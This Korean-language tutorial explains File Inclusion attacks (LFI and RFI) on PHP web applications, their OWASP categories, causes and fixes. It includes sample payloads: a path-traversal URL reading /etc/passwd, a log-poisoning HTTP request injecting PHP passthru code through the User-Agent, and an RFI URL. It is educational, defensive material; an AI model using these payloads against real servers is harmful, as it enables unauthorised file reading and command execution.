[웹 해킹] File Inclusion 공격
1. 개요
File Inclusion은 웹 애플리케이션에서 사용자가 제공한 입력 값을 통해 서버에 있는 파일을 액세스 하거나 실행하도록 만드는 공격 기법이다. 일반적으로 대상 애프리케이션에 구현된 `동적 파일 인클루전` 메커니즘을 악용한다. 이 취약점은 적절한 검증 없이 사용자가 제공한 입력을 사용하기 때문에 발생한다. 이 공격은 `Local File Inclusion(LFI)`와 `Remote File Inclusion(RFI)`의 두가지 주요 유형으로 나뉜다. `LFI`는 서버 내(로컬) 파일에 접근하는 공격이고, `RFI`는 외부에 있는 파일을 원격으로 include하는 공격이다.
2021 OWASP TOP 10 중에서는 `Broken Access Control`과 `Vulnerable and Outdated Components`에 해당된다.
`Broken Access Control` 항목은 사용자 입력을 적절히 검증하지 않아서 사용자가 허용되지 않은 파일이나 디렉토리에 접근할 수 있는 경우이다. `file inclusion` 공격은 경로탐색(`../`)이나 입력값 변조를 통해 파일에 직접 접근하여 민감한 데이터에 접근이 가능해진다.
`Vulnerable and Outdated Componets` 항목은 서버에서 사용 중인 컴포넌트(프레임워크, 라이브러리 등)가 취약하거나 오래된 경우 발생한다. `file inclusion` 공격의 경우 오래된 PHP 설정에서 `allow_url_include`가 활성화 되어 있으면 RFI 공격이 가능하다.
2. LFI (Local File Inclusion)
공격자가 애플리케이션 서버에서 로컬 파일을 읽거나 실행하도록 강제하는 공격이다.
서버의 중요한 파일(`/etc/passwd`, 로그파일, 소스코드 등)을 읽거나 악성스크립트를 실행시키기 위해 사용된다.
📌 예시 : `http://example.com/index.php?page=../../../../../../../etc/passwd`
👉 URL에 파일 경로를 포함해서 공격을 하면, 서버에서 `/etc/passwd` 파일을 읽어서 출력하도록 한다.
만약, 서버 디렉토리 내부에 Web Shell이 있다면, File Inclusion 취약점이 있는 페이지를 통해서 Web Shell에 접근할 수도 있다.
다른 공격으론, HTTP-Agent에 `<?php passthru('command');?>` 라는 php코드를 넣어 패킷을 보내면, Apache server의 error.log파일(error.log.php)에 공격 코드가 삽입되고, LFI 공격으로 해당 로그파일을 읽어와 명령어 실행이 가능해진다.
GET /../error.log HTTP/1.0
User-Agent : <?php passthru('command');?>
Accept: text/html; */*
Referer: http://www.example.com/index.php
Host: www.example.com
메시지 본문
3. RFI (Remote File Inclusion)
LFI와 동일한 환경에서 발생될 수 있으며, 차이점은 원격지 파일을 삽입하여 내부 파일처럼 인식시킨다는 점이다.
RFI는 공격자가 원격 서버에 호스팅된 악성 파일을 포함하여 애플리케이션 내에서 실행하도록 유도하여 웹 어플리케이션을 손상시키거나 서버를 제어하기 위한 목적으로 사용된다.
📌 예시 : `http://example.com/index.php?page=악성URL`
👉 URL에 파일 경로를 포함해서 공격을 하면, 서버에서 악성파일을 실행하도록 한다.
✔ 조건 : php설정 파일인 `php.ini`에서 `allow_url_fopen=On` 및 `allow_url_include=On`으로 설정되어 있어야 원격지 사이트 호출이 가능하다.
4. 발생 원인
;" data-ke-size="size16">📕 사용자의 입력에 대한 검증 부족
📕 경로 필터링 미비 👉 경로탐색(`../`)이 제대로 필터링되지 않음.
📕 동적 파일 포함 👉 PHP의 `include`나 `require` 같은 동적 파일 포함 함수에 사용자 입력을 직접으로 사용
5. 방지법
📕 입력값 검증
👉 사용자 입력값에서 경로탐색(`../`)이나 원격 URL 필터링,
👉 허용된 파일만 로드하도록 화이트리스트 적용
📕파일 경로 고정 👉 포함할 파일 경로를 특정 디렉터리로 제한
PHP 설정 변경 👉 `allow_url_fopen=Off` 및 `allow_url_include=Off`